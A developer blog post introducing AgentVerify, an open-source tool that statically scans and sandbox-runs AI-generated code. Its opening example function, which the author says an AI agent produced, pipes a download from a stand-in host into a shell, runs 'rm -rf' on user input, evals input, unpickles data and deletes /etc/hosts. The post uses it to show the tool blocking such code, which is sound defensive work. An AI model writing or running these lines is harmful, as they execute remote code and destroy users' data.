DEV Community

apple agent
apple agent

Posted on

An AI agent almost made me run `rm -rf` — so I built a verifier for AI code published: false

 Last week an AI coding agent wrote me a small "helper" function. It looked
completely reasonable. Then I actually read it line by line:

def run_user_task(user_input, saved_blob):
    result = eval(user_input)                       # arbitrary code execution
    os.system("curl http://evil.example/x | sh")     # shell + network
    subprocess.run(f"rm -rf {user_input}", shell=True)
    config = pickle.loads(saved_blob)                # insecure deserialization
    os.remove("/etc/hosts")                          # destructive
    return result, config
Enter fullscreen mode Exit fullscreen mode

I almost ran it.

That was the moment it clicked: we trust AI-generated code far too quickly.
The model sounds confident. The code looks clean. But "looks fine" is not
"is correct" and definitely not "is safe."

So I built AgentVerify — a verification layer that sits between code
generated
and code trusted.

AgentVerify blocks malicious code and passes clean code

What it does

You hand it code (and optionally tests). It runs four checks in an isolated
sandbox and returns a single, structured pass/fail verdict:

Check Question it answers
run Does the program actually execute?
tests Do the provided tests pass?
lint Does it even parse/compile?
security Any dangerous patterns — flagged without running the code?

Here's the verdict on that malicious file above:

FAILED — ❌ security
[FAILED] security: Blocked: 5 high-risk pattern(s)
    🔴 [HIGH] :14 — dynamic code execution via eval()
    🔴 [HIGH] :15 — shell command execution
    🔴 [HIGH] :16 — subprocess with shell=True
    🔴 [HIGH] :17 — insecure deserialization
    🔴 [HIGH] :18 — file deletion
Enter fullscreen mode Exit fullscreen mode

And on clean code:

PASSED — ✅ lint  ✅ run  ✅ security  ✅ tests   score: 100%
Enter fullscreen mode Exit fullscreen mode

Why the security check never runs your code

This is the part I care about most. To find out whether code is dangerous, you
must not execute it — running it to see what happens is exactly the trap.

So the security check is static. For Python it parses the AST, which means:

  • It flags real calls — eval(), os.system, subprocess(shell=True), pickle.loads, file deletion, native FFI, outbound-network imports — with exact line numbers.
  • It does not false-positive on the word eval sitting harmlessly inside a string or a comment. A naive regex scanner gets this wrong; the AST doesn't.

Running untrusted code safely

The run and tests checks do execute code — so that happens in a throwaway
Docker container per job, hardened:

  • no network
  • capped memory / CPU / PIDs (fork-bomb protection)
  • dropped Linux capabilities, no-new-privileges
  • non-root user, read-only root filesystem

The code goes in read-only; only stdout/stderr and the exit code come back.

Does it actually work? 1,000 tests.

I stress-tested it on 1,000 verifications across small → large programs — an
LRU cache, Dijkstra's algorithm, a JSON parser, a recursive-descent expression
interpreter — plus injected syntax-error, runtime-crash, and malicious variants.

Result: 100% verdict accuracy. Good code passed; broken and unsafe code
failed. Every time.

Then I did the honest thing: I ran AgentVerify on its own source code. All
33 modules parse cleanly, and the only files it flags for security are its own
sandbox modules — the ones that genuinely call subprocess and delete their
temp dirs. Notably, the security scanner file itself, which contains the strings
"eval" and "os.system" in its rule tables, is not flagged — because the
scan is AST-based. Zero false positives.

Built to scale

It's not a toy script. The architecture is:

Client → stateless API → Redis queue → worker pool → Docker sandbox → Verdict
Enter fullscreen mode Exit fullscreen mode

The API holds no state, jobs are queued, and throughput is just the number of
workers (docker compose up --scale worker=20). Locally you can run it with an
in-memory queue and no infra at all.

Try it

git clone https://github.com/jayswalaman40-tech/agentverify
cd agentverify
pip install -e .

# verify a file (run + tests + lint + security)
agentverify verify solution.py --test test_solution.py --language python

# see it block the malicious demo
agentverify verify examples/demo_unsafe.py --language python --check security
Enter fullscreen mode Exit fullscreen mode

Adding a new check or a new language is a single file.

Honest limitations

  • The security check is heuristic/static — it catches common dangerous patterns, not everything, and won't defeat determined obfuscation.
  • Python and Node only so far.
  • The hardened multi-tenant hosting story isn't battle-tested yet.

It's open source

AgentVerify is AGPL-3.0. I'd genuinely love feedback — especially on the
sandbox hardening and which dangerous patterns I'm missing.

👉 https://github.com/jayswalaman40-tech/agentverify

If you're building with AI agents, I think a verification layer is going to
become as normal as running tests. Would love to hear how you're handling this
today.

Top comments (0)